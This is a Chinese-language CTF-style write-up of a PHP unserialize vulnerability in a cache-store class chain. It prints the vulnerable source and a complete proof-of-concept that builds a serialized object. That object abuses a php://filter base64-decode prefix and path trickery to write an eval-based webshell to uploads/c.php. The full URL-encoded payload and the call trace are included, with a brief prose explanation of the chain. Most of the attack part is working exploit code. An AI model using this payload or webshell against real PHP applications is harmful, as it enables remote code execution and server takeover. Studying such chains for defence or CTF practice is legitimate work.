源码
<?php error_reporting(0);
class A { protected $store; protected $key; protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; }
public function cleanContents(array $contents) { printf("%s\n", __METHOD__); $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; }
public function getForStorage() { printf("%s\n", __METHOD__); $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); }
public function save() { printf("%s\n", __METHOD__); $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }
public function __destruct() { printf("%s\n", __METHOD__); if (!$this->autosave) { $this->save(); } } }
class B { protected function getExpireTime($expire): int { printf("%s\n", __METHOD__); return (int)$expire; }
public function getCacheKey(string $name): string { printf("%s\n", __METHOD__); $cache_filename = $this->options['prefix'] . uniqid() . $name; if (substr($cache_filename, -strlen('.php')) === '.php') { die('?'); } return $cache_filename; }
protected function serialize($data): string { printf("%s\n", __METHOD__); if (is_numeric($data)) { return (string)$data; }
$serialize = $this->options['serialize'];
return $serialize($data); }
public function set($name, $value, $expire = null): bool { printf("%s\n", __METHOD__); $this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
$expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (Exception $e){} } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return $filename; } return null; } }
$dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } if (isset($_REQUEST['data'])) { $data = $_REQUEST['data']; unserialize($data); } else { echo "系统检测发现该处漏洞,进行攻击测试\n"; }
|
POC
<?php class B{ public $options; public function __construct() { $this->options['data_compress'] = false; $this->options['expire'] = 111; $this->options['serialize'] = 'strval'; $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/'; } } class A { protected $store; protected $key; protected $expire; public function __construct() { $this->store = new B(); $this->key = '/../c.php/.'; $this->expire = 111; } } $a = new A(); $a->autosave=false; $a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+")); $a->complete = '2'; echo urlencode(serialize($a));
|
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22expire%22%3Bi%3A111%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3Bs%3A6%3A%22prefix%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A11%3A%22%2F..%2Fc.php%2F.%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A111%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A32%3A%22PD9waHAgZXZhbCgkX1BPU1RbY10pOz8%2B%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D
|
将payload
传入,得到
A::__destruct A::save A::getForStorage A::cleanContents B::set B::getExpireTime B::getCacheKey B::serialize
|
用蚁剑访问/uploads/c.php
即可拿到shell
PS:可以看到是否上传,不过这里代码没写好,还需要刷新一次才会显示
漏洞利用
从file_put_contents函数逆推,这里被触发就有可能写入webshell。
该函数用到的函数名会被getCacheKey处理一下,文件名来源于A中的key属性。
该函数中被写入的值来源于data变量,data变量由A中的contents经过serialize处理得到,serialize是一个可控变量,可以自己选定函数名。
serialize处理后可以进行压缩,但是这里显然是不能让他压缩,直接把options[‘data_compress’]定义为false即可。
也就是说,A中传递过来contents和key参数给B的set方法做处理,如果能选定适当的serialize函数,构造合适的contents以及合适的文件名,那么就可以写入webshell,获取flag。
<?php class A { protected $store; protected $key; protected $expire; public function __construct() { $this->store = new B(); $this->key = '/../c.php/.'; $this->expire = 111; } } $a = new A();
$a->autosave=false;
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+"));
$a->complete = '2';
class B{ public $options; public function __construct() { $this->options['data_compress'] = false; $this->options['expire'] = 111; $this->options['serialize'] = 'strval'; $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/'; } }
|
参考:https://www.cnblogs.com/kevinbruce656/p/12713474.html